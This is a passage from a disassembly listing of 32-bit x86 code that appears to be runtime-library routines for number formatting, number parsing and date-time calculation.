locret_40008964: ; CODE XREF: sub_40008909+1Fj ; sub_40008909+55j retn ; --------------------------------------------------------------------------- loc_40008965: ; DATA XREF: .text:400088E0o call sub_400088FF call sub_400088F6 mov ah, [ebp-5] stosw mov ecx, [ebp+0Ch] dec ecx loc_40008978: ; CODE XREF: sub_40008909+75j call sub_400088F6 stosb loop loc_40008978 mov ah, 2Bh loc_40008982: ; CODE XREF: sub_40008909+59j mov ecx, [ebp+8] cmp ecx, 4 jbe short loc_4000898C xor ecx, ecx loc_4000898C: ; CODE XREF: sub_40008909+7Fj mov al, 45h mov bl, [ebp-29h] movsx edx, word ptr [ebp-2Ch] dec edx call sub_400087BC retn sub_40008909 endp ; =============== S U B R O U T I N E ======================================= sub_4000899C proc near ; DATA XREF: .text:400088E4o ; .text:400088E8o call sub_400088FF loc_400089A1: ; CODE XREF: sub_40008A06:loc_40008A4Fp mov edx, [ebp+8] cmp edx, 12h jb short loc_400089AE mov edx, 12h loc_400089AE: ; CODE XREF: sub_4000899C+Bj movsx ecx, word ptr [ebp-2Ch] or ecx, ecx jg short loc_400089BB mov al, 30h stosb jmp short loc_400089E5 ; --------------------------------------------------------------------------- loc_400089BB: ; CODE XREF: sub_4000899C+18j xor ebx, ebx cmp byte ptr [ebp+10h], 2 jz short loc_400089CD mov eax, ecx dec eax mov bl, 3 div bl mov bl, ah inc ebx loc_400089CD: ; CODE XREF: sub_4000899C+25j ; sub_4000899C+3Bj ... call sub_400088F6 stosb dec ecx jz short loc_400089E5 dec ebx jnz short loc_400089CD mov al, [ebp-6] test al, al jz short loc_400089CD stosb mov bl, 3 jmp short loc_400089CD ; --------------------------------------------------------------------------- loc_400089E5: ; CODE XREF: sub_4000899C+1Dj ; sub_4000899C+38j or edx, edx jz short locret_40008A05 mov al, [ebp-5] test al, al jz short loc_400089F1 stosb loc_400089F1: ; CODE XREF: sub_4000899C+52j jecxz short loc_400089FC mov al, 30h loc_400089F5: ; CODE XREF: sub_4000899C+5Ej stosb dec edx jz short locret_40008A05 inc ecx jnz short loc_400089F5 loc_400089FC: ; CODE XREF: sub_4000899C:loc_400089F1j ; sub_4000899C+67j call sub_400088F6 stosb dec edx jnz short loc_400089FC locret_40008A05: ; CODE XREF: sub_4000899C+4Bj ; sub_4000899C+5Bj retn sub_4000899C endp ; =============== S U B R O U T I N E ======================================= sub_40008A06 proc near ; DATA XREF: .text:400088ECo xor ebx, ebx mov bl, [ebp-0Dh] mov ecx, 3 cmp byte ptr [ebp-2Ah], 0 jz short loc_40008A1E mov bl, [ebp-0Eh] mov ecx, 40Fh loc_40008A1E: ; CODE XREF: sub_40008A06+Ej cmp bl, cl jbe short loc_40008A24 mov bl, cl loc_40008A24: ; CODE XREF: sub_40008A06+1Aj add bl, ch lea ebx, dword_40008A69[ebx+ebx*4] add ebx, [ebp-14h] mov ecx, 5 loc_40008A35: ; CODE XREF: sub_40008A06+51j mov al, [ebx] cmp al, 40h jz short locret_40008A59 push ecx push ebx cmp al, 24h jz short loc_40008A48 cmp al, 2Ah jz short loc_40008A4F stosb jmp short loc_40008A54 ; --------------------------------------------------------------------------- loc_40008A48: ; CODE XREF: sub_40008A06+39j call sub_40008A5A jmp short loc_40008A54 ; --------------------------------------------------------------------------- loc_40008A4F: ; CODE XREF: sub_40008A06+3Dj call loc_400089A1 loc_40008A54: ; CODE XREF: sub_40008A06+40j ; sub_40008A06+47j pop ebx pop ecx inc ebx loop loc_40008A35 locret_40008A59: ; CODE XREF: sub_40008A06+33j retn sub_40008A06 endp ; =============== S U B R O U T I N E ======================================= sub_40008A5A proc near ; CODE XREF: sub_40008A06:loc_40008A48p push esi mov esi, [ebp-0Ch] test esi, esi jz short loc_40008A67 mov ecx, [esi-4] rep movsb loc_40008A67: ; CODE XREF: sub_40008A5A+6j pop esi retn sub_40008A5A endp ; --------------------------------------------------------------------------- dword_40008A69 dd 40402A24h ; --------------------------------------------------------------------------- inc eax sub ah, [eax+eax*2] inc eax inc eax and al, 20h sub al, [eax+40h] sub ah, [eax] and al, 40h inc eax sub [edx+ebp], ah sub [eax+2Dh], eax and al, 2Ah inc eax inc eax and al, 2Dh sub al, [eax+40h] and al, 2Ah sub eax, 2A284040h and al, 29h inc eax sub eax, 4040242Ah sub ch, ds:2A404024h and al, 2Dh inc eax inc eax sub eax, 4024202Ah sub eax, 402A2024h sub ah, [eax] and al, 2Dh inc eax and al, 20h sub ch, ds:2D202440h sub al, [eax+2Ah] sub eax, 28402420h and al, 20h sub ch, [ecx] sub [edx], ch and [ecx+ebp], ah ; START OF FUNCTION CHUNK FOR sub_40008800 loc_40008ACD: ; CODE XREF: sub_40008800+D7j mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_40008800 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40008AD4 proc near ; CODE XREF: sub_40008800+72p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 40008CF7 SIZE 00000009 BYTES push ebp mov ebp, esp add esp, 0FFFFFFE0h push edi push esi push ebx mov ebx, eax mov esi, edx mov [ebp+var_4], 0 cmp cl, 0 jz short loc_40008AF7 call sub_40008C23 jmp loc_40008CF7 ; --------------------------------------------------------------------------- loc_40008AF7: ; CODE XREF: sub_40008AD4+17j call sub_40008B01 jmp loc_40008CF7 sub_40008AD4 endp ; =============== S U B R O U T I N E ======================================= sub_40008B01 proc near ; CODE XREF: sub_40008AD4:loc_40008AF7p mov ax, [esi+8] mov edx, eax and eax, 7FFFh jz short loc_40008B2C cmp eax, 7FFFh jnz short loc_40008B37 test word ptr [esi+6], 8000h jz short loc_40008B2E cmp dword ptr [esi], 0 jnz short loc_40008B2B cmp dword ptr [esi+4], 80000000h jz short loc_40008B2E loc_40008B2B: ; CODE XREF: sub_40008B01+1Fj inc eax loc_40008B2C: ; CODE XREF: sub_40008B01+Bj ; sub_40008B01+AFj xor edx, edx loc_40008B2E: ; CODE XREF: sub_40008B01+1Aj ; sub_40008B01+28j mov byte ptr [ebx+3], 0 jmp loc_40008C04 ; --------------------------------------------------------------------------- loc_40008B37: ; CODE XREF: sub_40008B01+12j fld tbyte ptr [esi] sub eax, 3FFFh imul eax, 4D10h sar eax, 10h inc eax mov [ebp-8], eax mov eax, 12h sub eax, [ebp-8] fabs push ebx mov ebx, [ebp-4] call sub_40003870 pop ebx frndint mov edi, [ebp-4] fld tbyte_4001A864[edi] fcomp st(1) fstsw word ptr [ebp-0Ah] wait test word ptr [ebp-0Ah], 4100h jz short loc_40008B82 fidiv flt_4001A870[edi] inc dword ptr [ebp-8] loc_40008B82: ; CODE XREF: sub_40008B01+76j fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] mov edx, 9 wait loc_40008B8E: ; CODE XREF: sub_40008B01+A0j mov al, [edx+ebp-19h] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_40008B8E xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_40008BB5 xor eax, eax jmp loc_40008B2C ; --------------------------------------------------------------------------- loc_40008BB5: ; CODE XREF: sub_40008B01+ABj cmp edi, [ebp+0Ch] jb short loc_40008BBD mov edi, [ebp+0Ch] loc_40008BBD: ; CODE XREF: sub_40008B01+B7j cmp edi, 12h jnb short loc_40008BE9 cmp byte ptr [ebx+edi+3], 35h jb short loc_40008BEE loc_40008BC9: ; CODE XREF: sub_40008B01+D9j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40008BDE inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_40008BC9 jmp short loc_40008BFD ; --------------------------------------------------------------------------- loc_40008BDE: ; CODE XREF: sub_40008B01+CEj mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_40008BFD ; --------------------------------------------------------------------------- loc_40008BE9: ; CODE XREF: sub_40008B01+BFj mov edi, 12h loc_40008BEE: ; CODE XREF: sub_40008B01+C6j ; sub_40008B01+FAj mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40008C0F cmp byte ptr [ebx+edi+3], 30h jz short loc_40008BEE loc_40008BFD: ; CODE XREF: sub_40008B01+DBj ; sub_40008B01+E6j mov dx, [esi+8] loc_40008C01: ; CODE XREF: sub_40008B01+110j mov eax, [ebp-8] loc_40008C04: ; CODE XREF: sub_40008B01+31j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; --------------------------------------------------------------------------- loc_40008C0F: ; CODE XREF: sub_40008B01+F3j ; DATA XREF: sub_40008C23+60r xor edx, edx jmp short loc_40008C01 sub_40008B01 endp ; --------------------------------------------------------------------------- db 0Ah dd 64000000h, 0E8000000h, 10000003h db 27h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_40008C23 proc near ; CODE XREF: sub_40008AD4+19p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_40008CE9 or edx, edx jns short loc_40008C3D neg edx neg eax sbb edx, 0 loc_40008C3D: ; CODE XREF: sub_40008C23+11j xor ecx, ecx mov edi, [ebp+8] or edi, edi jge short loc_40008C48 xor edi, edi loc_40008C48: ; CODE XREF: sub_40008C23+21j cmp edi, 4 jl short loc_40008C6C mov edi, 4 loc_40008C52: ; CODE XREF: sub_40008C23+3Bj inc ecx sub eax, 0A7640000h sbb edx, 0DE0B6B3h jnb short loc_40008C52 dec ecx add eax, 0A7640000h adc edx, 0DE0B6B3h loc_40008C6C: ; CODE XREF: sub_40008C23+28j mov [ebp-20h], eax mov [ebp-1Ch], edx fild qword ptr [ebp-20h] mov edx, edi mov eax, 4 sub eax, edx jz short loc_40008C8A mov edi, [ebp-4] fidiv dword ptr ds:loc_40008C0F[edi+eax*4] loc_40008C8A: ; CODE XREF: sub_40008C23+5Bj fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] wait or ecx, ecx jnz short loc_40008CB0 mov ecx, 9 loc_40008C9A: ; CODE XREF: sub_40008C23+89j mov al, [ecx+ebp-19h] mov ah, al shr al, 4 jnz short loc_40008CC3 mov al, ah and al, 0Fh jnz short loc_40008CCA dec ecx jnz short loc_40008C9A jmp short loc_40008CE9 ; --------------------------------------------------------------------------- loc_40008CB0: ; CODE XREF: sub_40008C23+70j mov al, cl add al, 30h stosb mov ecx, 9 loc_40008CBA: ; CODE XREF: sub_40008C23+ABj mov al, [ecx+ebp-19h] mov ah, al shr al, 4 loc_40008CC3: ; CODE XREF: sub_40008C23+80j add al, 30h stosb mov al, ah and al, 0Fh loc_40008CCA: ; CODE XREF: sub_40008C23+86j add al, 30h stosb dec ecx jnz short loc_40008CBA mov eax, edi lea ecx, [ebx+edx+3] sub eax, ecx loc_40008CD8: ; CODE XREF: sub_40008C23+BCj mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_40008CD8 mov edx, [esi+4] shr edx, 1Fh jmp short loc_40008CF0 ; --------------------------------------------------------------------------- loc_40008CE9: ; CODE XREF: sub_40008C23+9j ; sub_40008C23+8Bj xor eax, eax xor edx, edx mov [ebx+3], al loc_40008CF0: ; CODE XREF: sub_40008C23+C4j mov [ebx], ax mov [ebx+2], dl retn sub_40008C23 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40008AD4 loc_40008CF7: ; CODE XREF: sub_40008AD4+1Ej ; sub_40008AD4+28j pop ebx pop esi pop edi mov esp, ebp pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_40008AD4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40008D00 proc near ; CODE XREF: sub_40008E74+11p ; sub_40008E90+14p ... var_8 = word ptr -8 var_5 = byte ptr -5 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 40008E0D SIZE 00000007 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push edi push esi push ebx mov esi, eax mov edi, edx mov [ebp+var_4], 0 mov al, ds:byte_4001E80F mov [ebp+var_5], al mov ebx, ecx fstcw [ebp+var_8] fclex fldcw word_4001A874 fldz call sub_40008DB7 mov bh, [esi] cmp bh, 2Bh jz short loc_40008D3E cmp bh, 2Dh jnz short loc_40008D3F loc_40008D3E: ; CODE XREF: sub_40008D00+37j inc esi loc_40008D3F: ; CODE XREF: sub_40008D00+3Cj mov ecx, esi call sub_40008DC2 xor edx, edx mov al, [esi] cmp al, [ebp+var_5] jnz short loc_40008D57 inc esi call sub_40008DC2 neg edx loc_40008D57: ; CODE XREF: sub_40008D00+4Dj cmp ecx, esi jz short loc_40008DAA mov al, [esi] and al, 0DFh cmp al, 45h jnz short loc_40008D6D inc esi push edx call sub_40008DDE pop eax add edx, eax loc_40008D6D: ; CODE XREF: sub_40008D00+61j call sub_40008DB7 cmp byte ptr [esi], 0 jnz short loc_40008DAA mov eax, edx cmp bl, 1 jnz short loc_40008D81 add eax, 4 loc_40008D81: ; CODE XREF: sub_40008D00+7Cj push ebx mov ebx, [ebp+var_4] call sub_40003870 pop ebx cmp bh, 2Dh jnz short loc_40008D92 fchs loc_40008D92: ; CODE XREF: sub_40008D00+8Ej cmp bl, 0 jz short loc_40008D9B fistp qword ptr [edi] jmp short loc_40008D9D ; --------------------------------------------------------------------------- loc_40008D9B: ; CODE XREF: sub_40008D00+95j fstp tbyte ptr [edi] loc_40008D9D: ; CODE XREF: sub_40008D00+99j fstsw ax test ax, 9 jnz short loc_40008DAC mov al, 1 jmp short loc_40008DAE ; --------------------------------------------------------------------------- loc_40008DAA: ; CODE XREF: sub_40008D00+59j ; sub_40008D00+75j fstp st loc_40008DAC: ; CODE XREF: sub_40008D00+A4j xor eax, eax loc_40008DAE: ; CODE XREF: sub_40008D00+A8j fclex fldcw [ebp+var_8] wait jmp short loc_40008E0D sub_40008D00 endp ; =============== S U B R O U T I N E ======================================= sub_40008DB7 proc near ; CODE XREF: sub_40008D00+2Dp ; sub_40008D00:loc_40008D6Dp ... lodsb or al, al jz short loc_40008DC0 cmp al, 20h jz short sub_40008DB7 loc_40008DC0: ; CODE XREF: sub_40008DB7+3j dec esi retn sub_40008DB7 endp ; =============== S U B R O U T I N E ======================================= sub_40008DC2 proc near ; CODE XREF: sub_40008D00+41p ; sub_40008D00+50p xor eax, eax xor edx, edx loc_40008DC6: ; CODE XREF: sub_40008DC2+18j lodsb sub al, 3Ah add al, 0Ah jnb short loc_40008DDC fimul flt_4001A870 mov [ebp-0Ch], eax fiadd dword ptr [ebp-0Ch] inc edx jmp short loc_40008DC6 ; --------------------------------------------------------------------------- loc_40008DDC: ; CODE XREF: sub_40008DC2+9j dec esi retn sub_40008DC2 endp ; =============== S U B R O U T I N E ======================================= sub_40008DDE proc near ; CODE XREF: sub_40008D00+65p xor eax, eax xor edx, edx mov cl, [esi] cmp cl, 2Bh jz short loc_40008DEE cmp cl, 2Dh jnz short loc_40008DEF loc_40008DEE: ; CODE XREF: sub_40008DDE+9j inc esi loc_40008DEF: ; CODE XREF: sub_40008DDE+Ej ; sub_40008DDE+25j mov al, [esi] sub al, 3Ah add al, 0Ah jnb short loc_40008E05 inc esi imul edx, 0Ah add edx, eax cmp edx, 1F4h jb short loc_40008DEF loc_40008E05: ; CODE XREF: sub_40008DDE+17j cmp cl, 2Dh jnz short locret_40008E0C neg edx locret_40008E0C: ; CODE XREF: sub_40008DDE+2Aj retn sub_40008DDE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40008D00 loc_40008E0D: ; CODE XREF: sub_40008D00+B5j pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_40008D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40008E14 proc near ; CODE XREF: sub_400116DC+104p ; sub_400116DC+125p ... var_40 = byte ptr -40h arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFC0h push ebx mov ebx, eax push 0 push 0Fh push 0 lea edx, [ebp+arg_0] lea eax, [ebp+var_40] xor ecx, ecx call sub_40008800 mov ecx, eax lea edx, [ebp+var_40] mov eax, ebx call sub_40004974 pop ebx mov esp, ebp pop ebp retn 0Ch sub_40008E14 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40008E44 proc near ; CODE XREF: sub_4000D0E8+38p var_40 = byte ptr -40h arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFC0h push ebx mov ebx, eax push 0 push 0 push 0 lea edx, [ebp+arg_0] lea eax, [ebp+var_40] mov cl, 1 call sub_40008800 mov ecx, eax lea edx, [ebp+var_40] mov eax, ebx call sub_40004974 pop ebx mov esp, ebp pop ebp retn 8 sub_40008E44 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008E74 proc near ; CODE XREF: sub_40007F40+12p ; sub_400101AC+66p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_40004D48 mov edx, esi xor ecx, ecx call sub_40008D00 pop esi pop ebx retn sub_40008E74 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40008E90 proc near ; CODE XREF: sub_4000CF24+35p ; sub_40010874+83p var_14 = tbyte ptr -14h push ebx push esi add esp, 0FFFFFFF4h mov esi, edx mov ebx, eax mov eax, ebx call sub_40004D48 mov edx, esp xor ecx, ecx call sub_40008D00 test al, al jz short loc_40008EB3 fld [esp+14h+var_14] fstp qword ptr [esi] wait loc_40008EB3: ; CODE XREF: sub_40008E90+1Bj add esp, 0Ch pop esi pop ebx retn sub_40008E90 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008EBC proc near ; CODE XREF: sub_4000CEB8+35p var_14 = tbyte ptr -14h push ebx push esi add esp, 0FFFFFFF4h mov esi, edx mov ebx, eax mov eax, ebx call sub_40004D48 mov edx, esp xor ecx, ecx call sub_40008D00 test al, al jz short loc_40008EDF fld [esp+14h+var_14] fstp dword ptr [esi] wait loc_40008EDF: ; CODE XREF: sub_40008EBC+1Bj add esp, 0Ch pop esi pop ebx retn sub_40008EBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008EE8 proc near ; CODE XREF: sub_4000CFFC+35p ; sub_40010E0C+66p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_40004D48 mov edx, esi mov cl, 1 call sub_40008D00 pop esi pop ebx retn sub_40008EE8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40008F04(double) sub_40008F04 proc near ; CODE XREF: sub_40008FB8+1Cp ; sub_4000911C+1Dp ... var_C = qword ptr -0Ch arg_0 = qword ptr 8 push ebp mov ebp, esp push ebx xor ebx, ebx mov ecx, eax fld [ebp+arg_0] fmul flt_4001A878[ebx] sub esp, 8 fistp [esp+0Ch+var_C] wait pop eax pop edx or edx, edx jns short loc_40008F33 neg edx neg eax sbb edx, 0 div dword_4001A87C[ebx] neg eax jmp short loc_40008F39 ; --------------------------------------------------------------------------- loc_40008F33: ; CODE XREF: sub_40008F04+1Cj div dword_4001A87C[ebx] loc_40008F39: ; CODE XREF: sub_40008F04+2Dj add eax, 0A955Ah mov [ecx], edx mov [ecx+4], eax pop ebx pop ebp retn 8 sub_40008F04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40008F48 proc near ; CODE XREF: sub_4000A518+1CEp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push esi mov esi, [ebp+arg_4] mov [ebp+var_1], 0 cmp ax, 18h jnb short loc_40008FA9 cmp dx, 3Ch jnb short loc_40008FA9 cmp cx, 3Ch jnb short loc_40008FA9 cmp si, 3E8h jnb short loc_40008FA9 movzx eax, ax imul eax, 36EE80h movzx edx, dx imul edx, 0EA60h add eax, edx movzx edx, cx imul edx, 3E8h add eax, edx movzx edx, si add eax, edx mov [ebp+var_8], eax fild [ebp+var_8] fdiv ds:flt_40008FB4 mov eax, [ebp+arg_0] fstp qword ptr [eax] wait mov [ebp+var_1], 1 loc_40008FA9: ; CODE XREF: sub_40008F48+12j ; sub_40008F48+18j ... movzx eax, [ebp+var_1] pop esi pop ecx pop ecx pop ebp retn 8 sub_40008F48 endp ; --------------------------------------------------------------------------- flt_40008FB4 dd 8.64e7 ; DATA XREF: sub_40008F48+51r ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40008FB8(int,double) sub_40008FB8 proc near ; CODE XREF: sub_400093D4+31p var_C = dword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax lea eax, [ebp+var_4] push eax push dword ptr [ebp+arg_4+4] push dword ptr [ebp+arg_4] ; double lea eax, [ebp+var_C] call sub_40008F04 mov eax, [ebp+var_C] lea ecx, [ebp+var_2] mov dx, 0EA60h call sub_4000797C push esi mov ecx, ebx movzx eax, [ebp+var_2] mov dx, 3Ch call sub_4000797C mov eax, [ebp+arg_0] push eax mov ecx, edi movzx eax, [ebp+var_4] mov dx, 3E8h call sub_4000797C pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_40008FB8 endp ; =============== S U B R O U T I N E ======================================= sub_40009014 proc near ; CODE XREF: sub_40009050+19p ; sub_4000911C+EFp push ebx push esi mov ecx, eax movzx eax, cx and eax, 3 test eax, eax jnz short loc_40009043 movzx ebx, cx mov eax, ebx mov esi, 64h xor edx, edx div esi test edx, edx jnz short loc_40009048 mov eax, ebx mov ecx, 190h xor edx, edx div ecx test edx, edx jz short loc_40009048 loc_40009043: ; CODE XREF: sub_40009014+Cj xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40009048: ; CODE XREF: sub_40009014+1Ej ; sub_40009014+2Dj mov al, 1 pop esi pop ebx retn sub_40009014 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009050 proc near ; CODE XREF: sub_4000A1CC+2F7p var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, ecx mov edi, edx mov [ebp+var_2], ax mov [ebp+var_3], 0 movzx eax, [ebp+var_2] call sub_40009014 and eax, 7Fh lea eax, [eax+eax*2] lea esi, dword_4001A7FC[eax*8] cmp [ebp+var_2], 1 jb loc_4000910C cmp [ebp+var_2], 270Fh ja short loc_4000910C cmp di, 1 jb short loc_4000910C cmp di, 0Ch ja short loc_4000910C cmp bx, 1 jb short loc_4000910C movzx eax, di cmp bx, [esi+eax*2-2] ja short loc_4000910C movzx eax, di dec eax test eax, eax jle short loc_400090C0 mov ecx, 1 loc_400090B7: ; CODE XREF: sub_40009050+6Ej add bx, [esi+ecx*2-2] inc ecx dec eax jnz short loc_400090B7 loc_400090C0: ; CODE XREF: sub_40009050+60j movzx ecx, [ebp+var_2] dec ecx mov eax, ecx mov esi, 64h cdq idiv esi imul esi, ecx, 16Dh mov edx, ecx test edx, edx jns short loc_400090DE add edx, 3 loc_400090DE: ; CODE XREF: sub_40009050+89j sar edx, 2 add esi, edx sub esi, eax mov eax, ecx mov ecx, 190h cdq idiv ecx add esi, eax movzx eax, bx add esi, eax sub esi, 0A955Ah mov [ebp+var_8], esi fild [ebp+var_8] mov eax, [ebp+arg_0] fstp qword ptr [eax] wait mov [ebp+var_3], 1 loc_4000910C: ; CODE XREF: sub_40009050+30j ; sub_40009050+3Cj ... movzx eax, [ebp+var_3] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 4 sub_40009050 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_4000911C(int,double) sub_4000911C proc near ; CODE XREF: sub_40009268+13p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov ebx, [ebp+arg_0] push dword ptr [ebp+arg_4+4] push dword ptr [ebp+arg_4] ; double lea eax, [ebp+var_18] call sub_40008F04 mov ecx, [ebp+var_14] test ecx, ecx jg short loc_40009169 mov eax, [ebp+var_4] mov word ptr [eax], 0 mov eax, [ebp+var_8] mov word ptr [eax], 0 mov eax, [ebp+var_C] mov word ptr [eax], 0 mov word ptr [ebx], 0 xor edx, edx jmp loc_4000925B ; --------------------------------------------------------------------------- loc_40009169: ; CODE XREF: sub_4000911C+27j mov eax, ecx mov esi, 7 cdq idiv esi inc edx mov [ebx], dx dec ecx mov bx, 1 cmp ecx, 23AB1h jl short loc_40009197 loc_40009184: ; CODE XREF: sub_4000911C+79j sub ecx, 23AB1h add bx, 190h cmp ecx, 23AB1h jge short loc_40009184 loc_40009197: ; CODE XREF: sub_4000911C+66j lea eax, [ebp+var_E] push eax lea eax, [ebp+var_10] mov dx, 8EACh xchg eax, ecx call sub_4000797C cmp [ebp+var_10], 4 jnz short loc_400091B9 dec [ebp+var_10] add [ebp+var_E], 8EACh loc_400091B9: ; CODE XREF: sub_4000911C+91j imul ax, [ebp+var_10], 64h add bx, ax lea eax, [ebp+var_E] push eax lea ecx, [ebp+var_10] movzx eax, [ebp+var_E] mov dx, 5B5h call sub_4000797C movzx eax, [ebp+var_10] add eax, eax add eax, eax add bx, ax lea eax, [ebp+var_E] push eax lea ecx, [ebp+var_10] movzx eax, [ebp+var_E] mov dx, 16Dh call sub_4000797C cmp [ebp+var_10], 4 jnz short loc_40009205 dec [ebp+var_10] add [ebp+var_E], 16Dh loc_40009205: ; CODE XREF: sub_4000911C+DDj add bx, [ebp+var_10] mov eax, ebx call sub_40009014 mov edx, eax movzx eax, dl lea eax, [eax+eax*2] lea esi, dword_4001A7FC[eax*8] mov ax, 1 loc_40009223: ; CODE XREF: sub_4000911C+126j movzx ecx, ax movzx ecx, word ptr [esi+ecx*2-2] mov [ebp+var_10], cx movzx ecx, [ebp+var_E] cmp cx, [ebp+var_10] jb short loc_40009244 movzx ecx, [ebp+var_10] sub [ebp+var_E], cx inc eax jmp short loc_40009223 ; --------------------------------------------------------------------------- loc_40009244: ; CODE XREF: sub_4000911C+11Bj mov ecx, [ebp+var_4] mov [ecx], bx mov ecx, [ebp+var_8] mov [ecx], ax movzx eax, [ebp+var_E] inc eax mov ecx, [ebp+var_C] mov [ecx], ax loc_4000925B: ; CODE XREF: sub_4000911C+48j mov eax, edx pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_4000911C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40009268(double) sub_40009268 proc near ; CODE XREF: sub_4000939C+2Ap var_2 = dword ptr -2 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, eax push dword ptr [ebp+arg_0+4] push dword ptr [ebp+arg_0] ; double lea eax, [ebp+var_2] push eax ; int mov eax, esi call sub_4000911C pop esi pop ecx pop ebp retn 8 sub_40009268 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40009288(double) sub_40009288 proc near ; CODE XREF: sub_400096A8+2B3p ; sub_400096A8+2DAp ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = qword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push dword ptr [ebp+arg_0+4] push dword ptr [ebp+arg_0] ; double lea eax, [ebp+var_8] call sub_40008F04 mov eax, [ebp+var_4] mov ecx, 7 cdq idiv ecx mov eax, edx inc eax pop ecx pop ecx pop ebp retn 8 sub_40009288 endp ; =============== S U B R O U T I N E ======================================= sub_400092B0 proc near ; CODE XREF: sub_4000A170+14p ; sub_4000A1CC+1A5p ... var_10 = word ptr -10h add esp, 0FFFFFFF0h push esp call sub_40006588 ; GetLocalTime movzx eax, [esp+10h+var_10] add esp, 10h retn sub_400092B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400092C4 proc near ; CODE XREF: sub_40009308+12p ; sub_40009324+3Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov ebx, 100h sub ebx, [ecx-104h] cmp edx, ebx jge short loc_400092DC mov ebx, edx loc_400092DC: ; CODE XREF: sub_400092C4+14j test ebx, ebx jz short loc_400092FA mov edx, [ebp+arg_0] mov edx, [edx-104h] mov ecx, [ebp+arg_0] lea edx, [ecx+edx-100h] mov ecx, ebx call sub_40002DFC loc_400092FA: ; CODE XREF: sub_400092C4+1Aj mov eax, [ebp+arg_0] add [eax-104h], ebx pop ebx pop ebp retn sub_400092C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009308 proc near ; CODE XREF: sub_400096A8+1D2p ; sub_400096A8+1FFp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, eax test edx, edx jz short loc_40009316 sub edx, 4 mov edx, [edx] loc_40009316: ; CODE XREF: sub_40009308+7j mov ecx, [ebp+arg_0] push ecx call sub_400092C4 pop ecx pop ebp retn sub_40009308 endp ; 